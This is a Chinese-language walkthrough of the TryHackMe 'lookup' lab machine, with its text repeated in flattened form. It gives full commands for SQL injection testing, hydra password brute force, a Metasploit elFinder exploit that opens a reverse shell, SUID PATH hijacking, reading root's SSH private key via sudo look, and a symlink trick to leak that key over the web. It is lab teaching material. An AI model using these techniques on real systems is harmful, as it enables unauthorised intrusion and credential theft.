lookup TryhackMe
字数 2705 2025-10-14 00:33:59

TryHackMe "lookup" 挑战机全方位攻克教学指南

一、 目标识别与信息收集

  1. 目标锁定
    • 目标机器IP地址为 10.201.45.109
    • 需要将域名 lookup.thmfile.lookup.thm 在攻击机的 /etc/hosts 文件中解析到该IP地址。
    • 操作命令
      # 编辑hosts文件
      sudo vim /etc/hosts
      # 在文件末尾添加以下行
      10.201.45.109 lookup.thm file.lookup.thm
      

二、 初始访问 - Web应用渗透

  1. 发现SQL注入漏洞

    • 目标网站 http://lookup.thm 存在一个登录页面 login.php
    • 使用 sqlmap 工具对登录接口进行自动化SQL注入测试。
    • 关键命令与发现
      sqlmap -u "http://lookup.thm/login.php" --data="username=test&password=test" --method=POST --level=5 --risk=3 --dbs
      
    • 重要发现:参数 username 存在动态响应,提示可能存在注入点,但直接爆出数据库名(--dbs)可能未成功。作者转而采用更直接的方法:爆破用户名。
  2. 爆破用户名与密码

    • 爆破用户名:通过工具(如sqlmap--users或Burp Suite的Intruder)发现两个有效用户名:josethink
    • 爆破密码:使用 hydra 对用户 jose 的密码进行爆破。
    • 关键命令与发现
      hydra -l jose -P /usr/share/wordlists/xato-net-10-million-passwords-10000.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:F=Wrong password. Please try again." -t 64
      
    • 成功获取到用户 jose 的密码。
  3. 突破二级域名

    • 使用 jose 的凭据登录主站后,页面提示需要访问 file.lookup.thm
    • 由于之前已在 /etc/hosts 中配置,直接访问 http://file.lookup.thm
    • 再次使用 jose 的密码登录,成功进入一个文件管理类应用界面。
  4. 利用文件上传漏洞获取Shell

    • 该文件管理系统存在漏洞(文中提及 searchsploit elfinder,表明可能利用了elfinder组件的已知RCE漏洞)。
    • 使用 msfconsole(Metasploit框架)快速利用该漏洞。
    • 关键命令
      msfconsole
      search elfinder
      use [对应的exploit模块编号]
      set rhosts file.lookup.thm
      set lhost [你的VPN IP]
      run
      
    • 成功获取一个反向Shell,连接至攻击机。

三、 权限提升 - 从 www-data 到 think

  1. 稳定Shell与环境侦察

    • 将简陋的Shell升级为完全交互式TTY。
    • 关键命令
      python3 -c 'import pty; pty.spawn("/bin/bash")'
      # 或者使用其他方法,如:script /dev/null -c bash
      
    • 查看系统中有登录Shell的用户:cat /etc/passwd | grep 'sh$',确认目标用户 think 存在。
  2. 发现SUID权限滥用漏洞

    • 查找具有SUID权限的可执行文件,这些文件可能被滥用以提升权限。
    • 关键命令与发现
      find / -perm -u=s -type f 2>/dev/null
      
    • 发现一个不常见的二进制文件 pwm。运行此文件,观察其行为。
  3. 分析 pwm 程序行为

    • 执行 pwm 后,观察到它执行了系统命令 id,并根据 id 命令的输出结果(当前用户名),去操作对应用户家目录下的 .passwords 文件(例如 /home/think/.passwords)。
    • 漏洞原理pwm 在执行 id 命令时,未使用绝对路径。这意味着系统会从 $PATH 环境变量指定的目录中寻找名为 id 的可执行文件。
  4. 实施PATH路径劫持

    • 步骤一:查看当前PATH:echo $PATH
    • 步骤二:将可写目录(如 /tmp)添加到PATH的最前面,确保系统优先在该目录下搜索命令。
      export PATH=/tmp:$PATH
      
    • 步骤三:在 /tmp 目录下创建一个恶意的 id 脚本,该脚本输出我们想要的用户名(think)。
      echo -e '#!/bin/bash\necho "uid=33(think) gid=33(think) groups=33(think)"' > /tmp/id
      
    • 步骤四:赋予该脚本执行权限:chmod +x /tmp/id
    • 步骤五:再次运行 pwm 程序。此时,pwm 会调用我们伪造的 /tmp/id,并输出用户名 think,进而程序会去读取或创建 /home/think/.passwords 文件。
  5. 获取用户think的密码

    • 执行上述劫持后,pwm 程序会在 /home/think/ 目录下生成或操作一个名为 .passwords 的文件。这个文件的内容很可能就是用户 think 的密码(或一个密码列表)。
    • 检查文件:cat /home/think/.passwords,获得密码。
  6. 切换至用户think

    • 使用获得的密码通过SSH登录,或者直接使用 su 切换用户。
    • 关键命令
      su - think
      # 输入从.passwords文件获得的密码
      
    • 成功获取第一个Flag(user.txt)。

四、 权限提升 - 从 think 到 root

  1. 检查sudo权限

    • 查看用户 think 被允许以root权限执行哪些命令。
    • 关键命令与发现
      sudo -l
      
    • 重要发现:用户 think 可以以root身份运行 /usr/bin/look 命令,且无密码限制。
      User think may run the following commands on ip-10-201-3-252:
          (ALL) /usr/bin/look
      
  2. 利用 look 命令读取任意文件

    • look 命令通常用于在排序过的文件中查找以特定字符串开头的行。但其核心功能是读取文件
    • 当查找的字符串为空('')时,look 会读取整个文件并输出。
    • 利用方法:使用 sudo 运行 look,读取root用户的SSH私钥。
    • 关键命令
      sudo /usr/bin/look '' /root/.ssh/id_rsa
      
    • 将终端输出的私钥内容完整复制到攻击机的一个文件中(例如 root_rsa)。
  3. 通过SSH私钥登录root

    • 在攻击机上,修改私钥文件权限为600,然后使用它登录目标机。
    • 关键命令
      # 在攻击机上操作
      chmod 600 root_rsa
      ssh -i root_rsa root@lookup.thm
      
    • 成功获取root权限和第二个Flag。

五、 拓展技巧与总结

  • 替代提权思路(软链接):在获得 www-data Shell后,可以创建一个指向 /root/.ssh/id_rsa 的软链接,并将其放在Web目录下(如 /var/www/html/.passwords)。这样,当 pwm 程序将root的私钥内容写入这个“密码文件”时,我们实际上通过Web服务器就能直接下载到root的私钥。这是一个非常巧妙的思路。
    ln -s /root/.ssh/id_rsa /var/www/html/.passwords
    # 然后从攻击机访问 http://file.lookup.thm/.passwords 下载
    

核心知识点总结

  1. 信息收集与配置:正确配置 /etc/hosts 是访问虚拟主机的第一步。
  2. 自动化工具使用:熟练运用 sqlmap, hydra, metasploit 进行漏洞发现与利用。
  3. 漏洞链利用:从Web漏洞获取初始立足点,再进行横向移动和权限提升。
  4. Linux权限提升
    • SUID滥用:理解SUID机制,并学会利用 $PATH 环境变量劫持进行提权。
    • Sudo权限滥用:掌握 sudo -l 命令,并了解如何利用不常见的命令(如 look)的读文件功能来突破权限限制。
  5. 思维灵活性:安全攻防需要创造性思维,如利用软链接间接获取关键文件。

这份文档涵盖了从外网渗透到内网提权的完整流程,希望对你的学习有所帮助。

TryHackMe "lookup" 挑战机全方位攻克教学指南 一、 目标识别与信息收集 目标锁定 : 目标机器IP地址为 10.201.45.109 。 需要将域名 lookup.thm 和 file.lookup.thm 在攻击机的 /etc/hosts 文件中解析到该IP地址。 操作命令 : 二、 初始访问 - Web应用渗透 发现SQL注入漏洞 : 目标网站 http://lookup.thm 存在一个登录页面 login.php 。 使用 sqlmap 工具对登录接口进行自动化SQL注入测试。 关键命令与发现 : 重要发现 :参数 username 存在动态响应,提示可能存在注入点,但直接爆出数据库名( --dbs )可能未成功。作者转而采用更直接的方法:爆破用户名。 爆破用户名与密码 : 爆破用户名 :通过工具(如 sqlmap 的 --users 或Burp Suite的Intruder)发现两个有效用户名: jose 和 think 。 爆破密码 :使用 hydra 对用户 jose 的密码进行爆破。 关键命令与发现 : 成功获取到用户 jose 的密码。 突破二级域名 : 使用 jose 的凭据登录主站后,页面提示需要访问 file.lookup.thm 。 由于之前已在 /etc/hosts 中配置,直接访问 http://file.lookup.thm 。 再次使用 jose 的密码登录,成功进入一个文件管理类应用界面。 利用文件上传漏洞获取Shell : 该文件管理系统存在漏洞(文中提及 searchsploit elfinder ,表明可能利用了elfinder组件的已知RCE漏洞)。 使用 msfconsole (Metasploit框架)快速利用该漏洞。 关键命令 : 成功获取一个反向Shell,连接至攻击机。 三、 权限提升 - 从 www-data 到 think 稳定Shell与环境侦察 : 将简陋的Shell升级为完全交互式TTY。 关键命令 : 查看系统中有登录Shell的用户: cat /etc/passwd | grep 'sh$' ,确认目标用户 think 存在。 发现SUID权限滥用漏洞 : 查找具有SUID权限的可执行文件,这些文件可能被滥用以提升权限。 关键命令与发现 : 发现一个不常见的二进制文件 pwm 。运行此文件,观察其行为。 分析 pwm 程序行为 : 执行 pwm 后,观察到它执行了系统命令 id ,并根据 id 命令的输出结果(当前用户名),去操作对应用户家目录下的 .passwords 文件(例如 /home/think/.passwords )。 漏洞原理 : pwm 在执行 id 命令时, 未使用绝对路径 。这意味着系统会从 $PATH 环境变量指定的目录中寻找名为 id 的可执行文件。 实施PATH路径劫持 : 步骤一 :查看当前PATH: echo $PATH 。 步骤二 :将可写目录(如 /tmp )添加到PATH的最前面,确保系统优先在该目录下搜索命令。 步骤三 :在 /tmp 目录下创建一个恶意的 id 脚本,该脚本输出我们想要的用户名( think )。 步骤四 :赋予该脚本执行权限: chmod +x /tmp/id 。 步骤五 :再次运行 pwm 程序。此时, pwm 会调用我们伪造的 /tmp/id ,并输出用户名 think ,进而程序会去读取或创建 /home/think/.passwords 文件。 获取用户think的密码 : 执行上述劫持后, pwm 程序会在 /home/think/ 目录下生成或操作一个名为 .passwords 的文件。这个文件的内容很可能就是用户 think 的密码(或一个密码列表)。 检查文件: cat /home/think/.passwords ,获得密码。 切换至用户think : 使用获得的密码通过SSH登录,或者直接使用 su 切换用户。 关键命令 : 成功获取第一个Flag( user.txt )。 四、 权限提升 - 从 think 到 root 检查sudo权限 : 查看用户 think 被允许以root权限执行哪些命令。 关键命令与发现 : 重要发现 :用户 think 可以以root身份运行 /usr/bin/look 命令,且无密码限制。 利用 look 命令读取任意文件 : look 命令通常用于在排序过的文件中查找以特定字符串开头的行。但其核心功能是 读取文件 。 当查找的字符串为空( '' )时, look 会读取整个文件并输出。 利用方法 :使用 sudo 运行 look ,读取root用户的SSH私钥。 关键命令 : 将终端输出的私钥内容完整复制到攻击机的一个文件中(例如 root_rsa )。 通过SSH私钥登录root : 在攻击机上,修改私钥文件权限为600,然后使用它登录目标机。 关键命令 : 成功获取root权限和第二个Flag。 五、 拓展技巧与总结 替代提权思路(软链接) :在获得 www-data Shell后,可以创建一个指向 /root/.ssh/id_rsa 的软链接,并将其放在Web目录下(如 /var/www/html/.passwords )。这样,当 pwm 程序将root的私钥内容写入这个“密码文件”时,我们实际上通过Web服务器就能直接下载到root的私钥。这是一个非常巧妙的思路。 核心知识点总结 : 信息收集与配置 :正确配置 /etc/hosts 是访问虚拟主机的第一步。 自动化工具使用 :熟练运用 sqlmap , hydra , metasploit 进行漏洞发现与利用。 漏洞链利用 :从Web漏洞获取初始立足点,再进行横向移动和权限提升。 Linux权限提升 : SUID滥用 :理解SUID机制,并学会利用 $PATH 环境变量劫持进行提权。 Sudo权限滥用 :掌握 sudo -l 命令,并了解如何利用不常见的命令(如 look )的读文件功能来突破权限限制。 思维灵活性 :安全攻防需要创造性思维,如利用软链接间接获取关键文件。 这份文档涵盖了从外网渗透到内网提权的完整流程,希望对你的学习有所帮助。